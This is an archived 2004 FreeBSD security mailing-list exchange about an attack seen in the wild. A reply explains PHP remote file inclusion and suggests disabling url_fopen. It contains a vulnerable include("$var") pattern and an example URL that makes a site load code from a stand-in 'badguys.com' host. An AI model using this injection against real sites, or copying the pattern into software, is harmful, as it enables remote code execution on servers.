Re: FreeBSD-SA-04:13.linux in the wild

From: Gustavo A. Baratto (gbaratto_at_superb.net)
Date: 08/11/04

  • Next message: Ryan Thompson: "Re: FreeBSD-SA-04:13.linux in the wild"
    To: "Ryan Thompson" <ryan@sasknow.com>, <freebsd-security@freebsd.org>
    Date: Wed, 11 Aug 2004 14:23:58 -0700
    
    

    I think I may have seen such thing before as well... not a freebsd problem
    though... It's php's own fault.
    php comes with url_fopen enabled by default, so if someone write a
    script.php with something like:
    include ("$var");

    One could call the
    http://goodguys.com/script.php?var=http://badguys.com/malicious_script.txt

    the text of malicious_script.php hosted remotely would be included in
    scrip.php, and any arbitrary code would be executed with www privileges.

    just disabling url_fopen in php.ini would prevent that.

    If this is not what you have seen, please, I'd like to know more about it.

    Thank you ;)

    ----- Original Message -----
    From: "Ryan Thompson" <ryan@sasknow.com>
    To: <freebsd-security@freebsd.org>
    Sent: Wednesday, August 11, 2004 2:07 PM
    Subject: FreeBSD-SA-04:13.linux in the wild

    >
    > Has anyone else seen this in the wild?
    >
    > We just had an attempted attack yesterday from a live attacker on one of
    > our machines using this vulnerability. It wasn't all that clever, and
    > they're long gone, but I *did* manage to catch them in the act and grab
    > a copy of the binary they tried to run from /tmp/, as well as the PHP
    > injection code they used to subvert a virtual web site's poorly-written
    > index.php script to execute commands as a local user.
    >
    > Their first order of business was uname -a, and the timing of the
    > requests appeared to be random and experimental ("cd /tmp; ls -la", a
    > few times). If any @FreeBSD.org developers would like more information,
    > I'd be happy to share my findings and log output off-list.
    >
    > - Ryan
    >
    > --
    > Ryan Thompson <ryan@sasknow.com>
    >
    > SaskNow Technologies - http://www.sasknow.com
    > 901-1st Avenue North - Saskatoon, SK - S7K 1Y4
    >
    > Tel: 306-664-3600 Fax: 306-244-7037 Saskatoon
    > Toll-Free: 877-727-5669 (877-SASKNOW) North America
    > _______________________________________________
    > freebsd-security@freebsd.org mailing list
    > http://lists.freebsd.org/mailman/listinfo/freebsd-security
    > To unsubscribe, send any mail to
    "freebsd-security-unsubscribe@freebsd.org"
    >

    _______________________________________________
    freebsd-security@freebsd.org mailing list
    http://lists.freebsd.org/mailman/listinfo/freebsd-security
    To unsubscribe, send any mail to "freebsd-security-unsubscribe@freebsd.org"


  • Next message: Ryan Thompson: "Re: FreeBSD-SA-04:13.linux in the wild"

    Relevant Pages

    • Re: Remote administartion via email
      ... > authenticating via pgp / gpg keys) and execute commands contained ... If it's a client, I'd say you're stuck, since only stupid MS ... "The mass of ignorant Negroes still breed carelessly and ... To UNSUBSCRIBE, email to debian-user-REQUEST@xxxxxxxxxxxxxxxx ...
      (Debian-User)
    • Re: Visigoth King
      ... Thanks for the link to Medieval Lands - I shall consult it carefully ... They mostly appear to be wild and arbitrary guesses by some previous ... To unsubscribe from the list, ... quotes in the subject and the body of the message ...
      (soc.genealogy.medieval)
    • Re: SOLVED - mail headers with exim4 using ISP smarthost
      ... the wild and wonderful maze that is /etc/exim4? ... I suppose it is the infuriating ADSL modem/router supplied by 'bethere', ... To UNSUBSCRIBE, email to debian-user-REQUEST@xxxxxxxxxxxxxxxx ...
      (Debian-User)
    • Re: Help! Grub is broken
      ... aren't any "in the wild". ... for propagation. ... You don't run as root do you? ... To UNSUBSCRIBE, email to debian-user-REQUEST@xxxxxxxxxxxxxxxx ...
      (Debian-User)
    • Re: How to write such sudoers?
      ... > I want the user can execute commands through sudo with PASSWD and ... > NOPASSWD for some exceptional commands, like nmap. ... If you find the Sudo man page rather complex, here is an alternative approach to constructing a sudoers file based on tables: ... To UNSUBSCRIBE, email to debian-user-REQUEST@xxxxxxxxxxxxxxxx with a subject of "unsubscribe". ...
      (Debian-User)